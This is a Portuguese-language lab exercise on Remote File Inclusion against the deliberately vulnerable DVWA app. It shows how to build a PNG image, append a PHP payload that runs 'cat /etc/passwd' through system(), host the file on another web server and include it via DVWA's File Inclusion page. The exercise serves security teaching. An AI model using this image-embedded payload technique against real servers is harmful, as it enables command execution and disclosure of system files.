

Exercício RFI

Orientações:

Você precisará de duas máquinas para realizar este exercício:

- Máquina virtual com o DVWA instalado.
- Uma máquina com web server instalado (pode ser o Kali).
- Comandos utilizados: convert, hexdump

1) Criando imagem com script

Por meio do comando **convert** vamos criar uma imagem PNG. O comando a seguir irá criar uma pequena Imagem 32x32 pixels, com um fundo azul e a salvaremos como aula.png:

```
convert -size 32x32 xc:blue aula.png
```

Vamos observar os bytes do arquivo usando o comando:

```
hexdump -C aula.png
```

```
root@matrix:/tmp# hexdump -C aula.png
00000000  89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG.....IHDR|
00000010  00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |... ..I...|
00000020  b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |....gAMA.....a|
00000030  05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |.... cHRM...z&...|
00000040  84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |.....u0...|
00000050  60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |`.....p..Q<...|
00000060  06 50 4c 54 45 00 00 ff ff ff ff 7b dc 99 2c 00 |.PLTE.....{.,.,|
00000070  00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 07 |...bKGD...-.....|
00000080  74 49 4d 45 07 e4 06 0f 0d 04 21 b6 ff 50 cb 00 |tIME.....!..P..|
00000090  00 00 0c 49 44 41 54 08 d7 63 60 18 dc 00 00 00 |...IDAT..c`.....|
000000a0  a0 00 01 61 25 7d 47 00 00 00 25 74 45 58 74 64 |...a%}G...tEXtd|
000000b0  61 74 65 3a 63 72 65 61 74 65 00 32 30 32 30 2d |ate:create.2020-|
000000c0  30 36 2d 31 35 54 31 33 3a 30 34 3a 33 33 2d 30 |06-15T13:04:33-0|
000000d0  33 3a 30 30 3e 1a 07 fb 00 00 00 25 74 45 58 74 |3:00>.....%tExt|
000000e0  64 61 74 65 3a 6d 6f 64 69 66 79 00 32 30 32 30 |date:modify.2020|
000000f0  2d 30 36 2d 31 35 54 31 33 3a 30 34 3a 33 33 2d |-06-15T13:04:33-|
00000100  30 33 3a 30 30 4f 47 bf 47 00 00 00 00 49 45 4e |03:000G.G....IEN|
00000110  44 ae 42 60 82 |D.B`.|
00000115
```

Agora vamos adicionar um código PHP ao final do arquivo, preservando a imagem e portanto não prejudicando a sua renderização por visualizadores.

```
echo "<?php system('cat /etc/passwd'); ?>" >> aula.png
```

Execute novamente o comando hexdump para visualizar os bytes do arquivo aula.png.

```
root@matrix:/tmp# hexdump -C aula.png
00000000  89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG.....IHDR|
00000010  00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |... ..I...|
00000020  b7 00 00 00 04 67 41 d4 41 00 00 b1 8f 0b fc 61 |.....gAMA.....a|
00000030  05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |.... cHRM..z&...|
00000040  84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |.....u0...|
00000050  60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |`.....p..Q<...|
00000060  06 50 4c 54 45 00 00 ff ff ff ff 7b dc 99 2c 00 |.PLTE.....{....|
00000070  00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 07 |...bKGD...-.....|
00000080  74 49 4d 45 07 e4 06 0f 0d 04 21 b6 ff 50 cb 00 |tIME.....!...P..|
00000090  00 00 0c 49 44 41 54 08 d7 63 60 18 dc 00 00 00 |...IDAT..c`.....|
000000a0  a0 00 01 61 25 7d 47 00 00 00 25 74 45 58 74 64 |...a%}G...%tEXtd|
000000b0  61 74 65 3a 63 72 65 61 74 65 00 32 30 32 30 2d |ate:create.2020-|
000000c0  30 36 2d 31 35 54 31 33 3a 30 34 3a 33 33 2d 30 |06-15T13:04:33-0|
000000d0  33 3a 30 30 3e 1a 07 fb 00 00 00 25 74 45 58 74 |3:00>.....%tEXt|
000000e0  64 61 74 65 3a 6d 6f 64 69 66 79 00 32 30 32 30 |date:modify.2020|
000000f0  2d 30 36 2d 31 35 54 31 33 3a 30 34 3a 33 33 2d |-06-15T13:04:33-|
00000100  30 33 3a 30 30 4f 47 bf 47 00 00 00 00 49 45 4e |03:00G.G....IEN|
00000110  44 ae 42 60 82 3c 3f 70 68 70 20 73 79 73 74 65 |D.B`.<?php syste|
00000120  6d 28 27 63 61 74 20 2f 65 74 63 2f 70 61 73 73 |m('cat /etc/pass|
00000130  77 64 27 29 3b 20 3f 3e 0a |wd'); ?>.|
00000139
```

Agora faça a cópia do arquivo aula.png para a raiz de outro webserver. Após realizar a transferência, execute novamente o teste no DVWA no menu File Inclusion.

